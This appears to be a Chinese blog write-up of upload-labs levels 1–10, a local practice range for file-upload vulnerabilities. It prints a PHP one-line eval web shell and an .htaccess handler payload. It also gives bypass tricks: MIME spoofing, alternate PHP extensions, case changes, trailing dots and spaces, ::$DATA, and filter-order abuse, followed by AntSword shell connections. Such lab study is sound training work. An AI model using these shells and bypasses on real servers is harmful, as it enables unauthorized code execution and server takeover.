靶场 : upload-labs1-10

搭建

用phpstudy搭建的。搭建很简单,下载源码,放置在phpstudy的根目录下,在phpstudy中创建。
在这里插入图片描述在这里插入图片描述在这里插入图片描述

步骤

这里上传的文件内容是一句话木马:

<?php
    header("Constent-type:text/html:charset=1232");
    echo "<pre>";
    @eval($_POST['input']);
?>

pass-1

上传一个php文件试一试。传不上的,使用的白名单过滤的。我们考虑一下是什么原因传不上去? 是被校验了,那我们查看一下哪里校验的,先看看前端代码。
在这里插入图片描述检查了一下前端代码,发现了一个checkFile函数。在这里插入图片描述把检查函数删除掉试一下。上传一下,成功上传。这样我们可以把恶意代码上传到服务器上,去攻击在这里插入图片描述我们可以在php文件中写入一句话木马
在这里插入图片描述
用蚁剑去连接。要知道url地址,就把页面中的图片拖拽到搜索框中,就能得到,填入参数,测试连接,连接成功。

在这里插入图片描述连接成功在这里插入图片描述
另外,那个我们在浏览器中禁用javascript,也能使得检测函数失败。在浏览器中输入about:config,禁用javascript
在这里插入图片描述

pass-2

我们还是试一下,上传php文件在这里插入图片描述上传不了,还是查看一下前端代码,还是有检测函数,这次删掉还是不行。那说明在后端还是有检测。这样如何上传呢,看看后端源码,白名单,其中image/jpeg的 格式为 MIME的,我们是没有填写这个的,它是由浏览器自动生成的,那我们就可以去抓包修改。到达饶过的目的。MIME的字段为content-type
在这里插入图片描述抓一下包
找到对应的Content-Type,将application/octet-stream改为image/jpeg 或者image/png或者 image/gif在这里插入图片描述
上传成功在这里插入图片描述上传成功就行了,不用蚁剑连接了。

pass-3

继续试一试php文件
在这里插入图片描述这里直接就是黑名单,可以看出他的黑名单不全,那我们可以利用等价扩展名来利用。

等价扩展名:

扩展名等价扩展名
aspasa,cer ,cdx
aspxashx,asmx,ascx
phpphp2,php3,php4,php5,phps,phtml
jspjspx,jspf

那么我将我扩展名改掉。改成 php3
在这里插入图片描述
在这里插入图片描述连接生效,这里还把文件名用时间重命名了。在这里插入图片描述这里要复现成功,就要修改一个配置信息。
在conf文件夹中,找到httpd.conf,添加下面的信息

AddType application/x-httpd-php .php .phptml .php3 .php5
在这里插入图片描述这一关,我在phpstudy上没有复现成,我用的apache服务搭建的。复现成功。

pass-4

这里等价扩展名不能用了。都被禁用了,在这里插入图片描述他没有禁用图片文件的后缀名。我们是可以上传图片文件的。在这里插入图片描述

那我们可以将php文件的后名改为jpg。上传成功,那要怎样去利用呢?在这里插入图片描述
答:要用到Hypertext Access(超文本入口)

.htaccess文件是Apache服务器中的一个配置文件,他负责相关目录下的网页配置,通过它可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

我们利用它改变文件扩展名的功能,将我们上传的图片以php文件解析。.htaccess文件内容,将bug.jpg以php文件格式解析。

<FilesMatch “bug.jpg”>
SetHandler application/x-httpd-php
</FilesMatch>

上传图片。然后上传 .htaccess文件在这里插入图片描述这样他们在同一个目录下。那就试试蚁剑是否能连接上。
没有连上。 因为版本不对。php用5.3.4的。再配置httpd.conf,把AllowOverride 的后面none 改成all在这里插入图片描述

pass -5

这一关将.htaccess文件也禁止上传了,提示有一个readme.php文件。
还没做

pass-6

查看源码时,发现没有进行转换为小写,而且黑名单也没有对大写的拦截。那我们试一试大写后缀名的上传。
在这里插入图片描述
上传成功了,那么试一试蚁剑连接。在这里插入图片描述

pass-7

这里查看源码,没有首位去空格的函数了。那就利用它。我们抓包弄。改包
先浏览文件。
在这里插入图片描述再打开抓包工具(开启),之后点击上传。抓下包在这里插入图片描述

发现不成。在这里插入图片描述开始找问题,是php版本的问题要选个低版本的。php 5.2的版本就可以了上传成功。在这里插入图片描述
在这里插入图片描述

pass-8

这里就说一下了,这里看源码是没有去除文件名最后有的,利用它,还是抓包,修改上传的php的文件名,再后缀后加个点,就可以上传成功。(注意没成功可能是php版本不对,修改一下就行)。
在这里插入图片描述

上传成功后,若是靶场部署在Windows上,那么就会自动把点去除掉。蚁剑就可以连的。在这里插入图片描述

pass-9

这里源码中没有对文件后缀中 ::$DATA的去除。还是抓包,改后缀名。上传能成功。在这里插入图片描述

连接的时候把那个::$data删除,再连接。
在这里插入图片描述

pass-10

源码中 文件名的检查都有,那咋搞呢? 我们利用它检查的顺序啊。它先删除一个点,再删除一个空格,那我们抓包改后缀时,可以这样 **php. .**这样构造,经过检查后,就剩下 php. 就可以上传成功。在这里插入图片描述连接蚁剑:
在这里插入图片描述

这里总结一下pass-7到pass-10,都是利用源码中过滤不严谨来进行饶过,
其中有 后缀加空格饶过 后缀加点饶过 后缀加::$data饶过 有利用过滤顺序构造来饶过。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值